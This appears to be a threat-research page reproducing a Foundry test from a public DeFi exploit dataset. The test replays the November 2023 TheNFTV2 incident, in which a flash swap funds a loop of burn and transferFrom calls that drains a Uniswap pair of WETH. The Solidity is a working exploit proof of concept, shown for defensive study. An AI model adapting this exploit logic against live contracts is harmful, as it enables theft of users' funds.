Public reproduction file
src/test/2023-11/TheNFTV2_exp.sol
Public reproduction file for dataset entry TheNFTV2.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1pragma solidity ^0.8.10;3import "forge-std/Test.sol";4import "./../interface.sol";6// @KeyInfo - Total Lost : ~19K USD$7// Attacker - https://etherscan.io/address/0x2F746bC70f72aAF3340B8BbFd254fd91a39962188// Attack contract - https://etherscan.io/address/0x85301f7b943fd132c8dbc33f8fd9d77109a84f289// Attack Tx : https://etherscan.io/tx/0xd5b4d68432cbbd912130bbb5b93399031ddbb400d8f723c78050574de753310611// @Analysis - https://x.com/MetaTrustAlert/status/1728616715825848377?s=2012contract TheNFTV2Test is Test {13 IERC721 THENFTV2 = IERC721(0x79a7D3559D73EA032120A69E59223d4375DEb595);14 IERC20 TheDAO = IERC20(0xBB9bc244D798123fDe783fCc1C72d3Bb8C189413);15 IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);16 IUniswapV2Pair uniswap = IUniswapV2Pair(0xE1eCaDb5FEC254c2c893C230b935Db30b8FfF0db);17 uint256 constant nftId = 1071;18 address hacker = 0x85301f7b943fd132c8dBc33f8FD9d77109A84f28;19 address deadaddress = 0x000000000000000000000000000000000074eda0;21 function setUp() public {22 vm.createSelectFork("mainnet", 18_647_450);23 vm.label(address(WETH), "WETH");24 vm.label(address(THENFTV2), "THENFTV2");25 vm.label(address(uniswap), "Uniswap Pair");26 vm.label(address(TheDAO), "TheDAO");27 }29 function test() public {30 address[] memory assets = new address[](1);31 assets[0] = address(WETH);32 uint256[] memory amounts = new uint256[](1);33 amounts[0] = 80_000 * 1e18;34 uint256[] memory modes = new uint256[](1);35 modes[0] = 0;37 emit log_named_decimal_uint("[Start] Attacker ETH Balance", WETH.balanceOf(address(this)), WETH.decimals());39 uint256 balanceBefore = address(this).balance;40 vm.prank(hacker);41 THENFTV2.transferFrom(address(hacker), address(this), nftId);43 uniswap.swap(0, 1_906_331_836_125_411_716, address(this), new bytes(1));44 uint256 balanceAfter = address(this).balance;45 assert(balanceAfter > balanceBefore);47 emit log_named_decimal_uint("Attacker ETH balance after exploit", address(this).balance, 0);48 }50 function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {51 (uint256 thedaoReserve, uint256 wethReserve,) = uniswap.getReserves();52 emit log_named_uint("k0:", thedaoReserve * wethReserve);53 uint256 amountOut = amount1;54 uint256 amountIn = getAmountIn(amountOut, thedaoReserve, wethReserve);55 emit log_named_uint("amountIn", amountIn);57 do {58 THENFTV2.approve(address(this), nftId);59 THENFTV2.burn(nftId);60 THENFTV2.transferFrom(deadaddress, address(this), nftId);61 } while (TheDAO.balanceOf(address(this)) < amountIn);62 TheDAO.transfer(address(uniswap), TheDAO.balanceOf(address(this)));63 WETH.withdraw(WETH.balanceOf(address(this)));64 }66 function getAmountIn(67 uint256 amountOut,68 uint256 reserveIn,69 uint256 reserveOut70 ) internal pure returns (uint256 amountIn) {71 require(amountOut > 0, "UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT");72 require(reserveIn > 0 && reserveOut > 0, "UniswapV2Library: INSUFFICIENT_LIQUIDITY");73 uint256 numerator = reserveIn * amountOut * (1000);74 uint256 denominator = (reserveOut - amountOut) * (997);75 amountIn = (numerator / denominator) + (1);76 }78 receive() external payable {}79}Analysis
Dataset entry
Public Foundry test for “TheNFTV2” (2023-11-25). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-11/AIS_exp.solSame month in the dataset · 98 lines
- src/test/2023-11/3913_exp.solSame month in the dataset · 163 lines
- src/test/2023-11/BRAND_exp.solSame month in the dataset · 50 lines
- src/test/2023-11/Burntbubba_exp.solSame month in the dataset · 175 lines
- src/test/2023-11/CAROLProtocol_exp.solSame month in the dataset · 228 lines
- src/test/2023-11/EEE_exp.solSame month in the dataset · 87 lines
- src/test/2023-11/EHX_exp.solSame month in the dataset · 87 lines
- src/test/2023-11/FiberRouter_exp.solSame month in the dataset · 78 lines
- src/test/2023-11/grok_exp.solSame month in the dataset · 82 lines
- src/test/2023-11/KR_exp.solSame month in the dataset · 41 lines
- src/test/2023-11/KyberSwap_exp.eth.1.solSame month in the dataset · 229 lines
- src/test/2023-11/LinkDao_exp.solSame month in the dataset · 73 lines
- src/test/2023-11/MahaLend_exp.solSame month in the dataset · 118 lines
- src/test/2023-11/MetaLend_exp.solSame month in the dataset · 113 lines
- src/test/2023-11/bot_exp.solSame month in the dataset · 123 lines
- src/test/2023-11/MEV_0x8c2d_exp.solSame month in the dataset · 101 lines
- src/test/2023-11/MEV_0xa247_exp.solSame month in the dataset · 188 lines
- src/test/2023-11/OKC_exp.solSame month in the dataset · 341 lines
- src/test/2023-11/OnyxProtocol_exp.solSame month in the dataset · 348 lines
- src/test/2023-11/Raft_exp.solSame month in the dataset · 194 lines
- src/test/2023-11/RBalancer_exp.solSame month in the dataset · 49 lines
- src/test/2023-11/ShibaToken_exp.solSame month in the dataset · 202 lines
- src/test/2023-11/SwampFinance_exp.solSame month in the dataset · 123 lines
- src/test/2023-11/TheStandard_io_exp.solSame month in the dataset · 236 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x2f746bc70f72aaf3340b8bbfd254fd91a3996218
- Attack contract
0x85301f7b943fd132c8dbc33f8fd9d77109a84f28
- Attack Tx
0xd5b4d68432cbbd912130bbb5b93399031ddbb400d8f723c78050574de7533106
File record
- Name
- TheNFTV2
- Path
- src/test/2023-11/TheNFTV2_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 69180506857add52ff6de46e95bdf54e104168d8
- Language
- Solidity
- Size
- 80 lines
- Date
- 2023-11-25
- Licence
- ThreatWire editorial text
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-11/TheNFTV2_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 69180506857add52ff6de46e95bdf54e104168d8, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.